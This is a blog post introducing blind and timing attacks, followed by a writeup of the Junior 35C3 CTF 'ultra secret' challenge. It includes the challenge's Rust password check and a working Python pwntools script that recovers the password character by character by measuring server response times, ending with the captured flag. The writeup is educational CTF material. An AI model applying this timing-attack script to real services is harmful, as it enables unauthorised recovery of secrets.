This blog post is both, an introduction to blind attacks and a writeup to the ultra secret challenge, which was part of the Junior 35C3 CTF, hosted by Eat Sleep Pwn Repeat (thanks!).

What's a Blind Attack?

In most attack scenarios, you have direct access to the output your attack generated. Either directly on-screen, or because you are able to pipe the output to a location where you can read it out later, for example. In so-called blind scenarios, you are not able to directly get the output.

To clarify this, let's assume we have an SQL injection scenario.

  • normal injection: You are able to see the results directly on-screen. Typical example: a webpage search field is injectable and you can retrieve other SQL rows than the ones connected to the search, which are printed out in place of the usual search results.
  • blind injection: You are able to inject SQL commands, which are executed correctly, but the results of SELECT are not printed anywhere, mostly because the original method you are injecting into isn't built that way. Typical example: updating your password. You'll get a message if it worked (or an error message otherwise), but no results.

But how is it possible to get results out of the database if we just got a blind injection at our fingertips? The answer is timing. We can exploit it like this:

for i in range(0, 100):
	for c in ['A', 'B', ... 'Z']:
		if target_field[i] == c:
			sleep(100)
		else:
			# do nothing!
			pass

But what does this exactly do? We're walking the string, char by char, and compare it. If we got the right char, we're executing sleep to hold the connection alive until we run into a timeout. That way, we know that we got the right character the moment our connection stays up way longer than the other connections. Note that this technique will produce false positives if your connection to the target is very unstable. In that case, re-run the procedure and double-check every character.

Luckily, for SQL injection scenarios, there's a great tool which helps you executing these steps: sqlmap.

Conclusion: we can pipe out information about our attack! We just need any kind of value we are in control of to receive the information. In this write-up, we control the value of time - thus, it's a blind timing attack!

Overview: The Challenge

As always, the description is not too helpful:

This flag is protected by a password stored in a highly sohpisticated  chain of hashes. Can you capture it nevertheless? We are certain the  password consists of lowercase alphanumerical characters only.

Luckily, we also got the source code (404'd, try this) for this challenge. It's written in Rust and only 45 lines long, however, I'll boil it down to the most important part.

The main function

# hashes is an array read from a file we don't have any access to
let password = &password[0..32];
for c in password.chars() {
    let hash =  hash(c);
    if hash != hashes[i] {
    	exit(1);
    }
    i += 1;
}
println!("{}", &flag)

Apparently we need to enter a password of exactly 32 characters, and we'll only get the flag if the hash for each character matches with the hash of the character at the same position stored server-side. Let's have a look at this hash function then.

The hash function

fn hash(c: char) -> String {
    let mut hash = String::new();
    hash.push(c);
    for _ in 0..9999 {
        let mut sha = Sha256::new();
        sha.input_str(&hash);
        hash = sha.result_str();
    }
    hash
}

The character we hand over to this function is SHA256-hashed 10000 times.

The first solution which came into my mind was to build a rainbow table for the 10000th SHA256-sum of each alphanumerical character. That's not as time-consuming as it sounds, however, that won't solve the challenge, as we don't have access to the hashes our characters are compared against on the server side (the hashes array).

Get your stopwatch ready

But how are we able to determine whether or not our password is correct? Bruteforcing would take too long. But there's a small detail which will drastically reduce the time we'd need to execute a full bruteforce: the password is hashed and checked character-wise. If we're trying out all combinations (0-9, A-F) at a single position, all characters will take as long as the server needs to calculate 10000 hashes - except for the moment we enter the correct char. In that case, the server will calculate 20000 hashes: 10000 for the first (correct) character of our password, and, because the character was correct, 10000 hashes for the next character! That means, we just need to measure the duration the server needs to respond to our password entry. The longest entry contains more correct characters than the others.

I've written a small exploit script for that task, utilizing pwntools (a must-have library if you use Python for your exploits!):

#!/usr/bin/env python2
from pwn import *
import time
from multiprocessing.dummy import Pool as ThreadPool

alphabet = "0123456789abcdef"

def main():
	# launch as many threads as chars in our alphabet
	pool = ThreadPool(len(alphabet))
	results = pool.map(tryPassword, alphabet)
	pool.close() 
	pool.join()

	# print results
	for r in results:
		print("%f\t%s" % (r[1], r[0]))


def tryPassword(c):
	server = remote("35.207.132.47", 1337)
	server.recvline() # "Please enter the very secret password:"
	
	# start measurement
	start = time.time()
	try:
		server.sendline(c + 31 * 'A')
		server.recvline()
	except Exception:
		# we'll run into an exception if the server close the connection
		pass
	# stop measurement
	end = time.time()
	# report results
	return (c, end-start)


if __name__ == '__main__':
	main()

It starts 16 threads and fires every character in our alphabet against the server, measuring the time it takes for the server to close the connection. You can view a first run of that sample on asciinema.

We can clearly see that the character 1 takes double the time compared to the other characters of our alphabet! That means 1 is the first character of our password. Yay!

We can now add that password as a prefix to our script:

prefix = "1"

[...]

server.sendline(prefix + c + (31-len(prefix)) * 'A')

We need to do this process 32 times. It will cost you a couple of minutes, so this is a good moment to grab a Club Mate from your fridge.

Side note 1: when I ran the exploit, it took the server ~600ms to do the hashing for a single character. If the durations you measured don't differ too much, it could be that you mistyped a character.

Side note 2: please keep in mind that the hashing algorithm in use, SHA256, is case-sensitive...

Conclusion

After some minutes of executing, measuring and evaluating, we get the whole password: 10e004c2e186b4d280fad7f36e779ed4

Now we simply connect to the server via netcat and receive our flag!

> $ nc 35.207.132.47 1337 -N
Please enter the very secret password:
10e004c2e186b4d280fad7f36e779ed4
35C3_timing_attacks_are_fun!_:)

Yay! Timing attacks are really fun. Just make sure that you don't get too impatient waiting for your results. 😋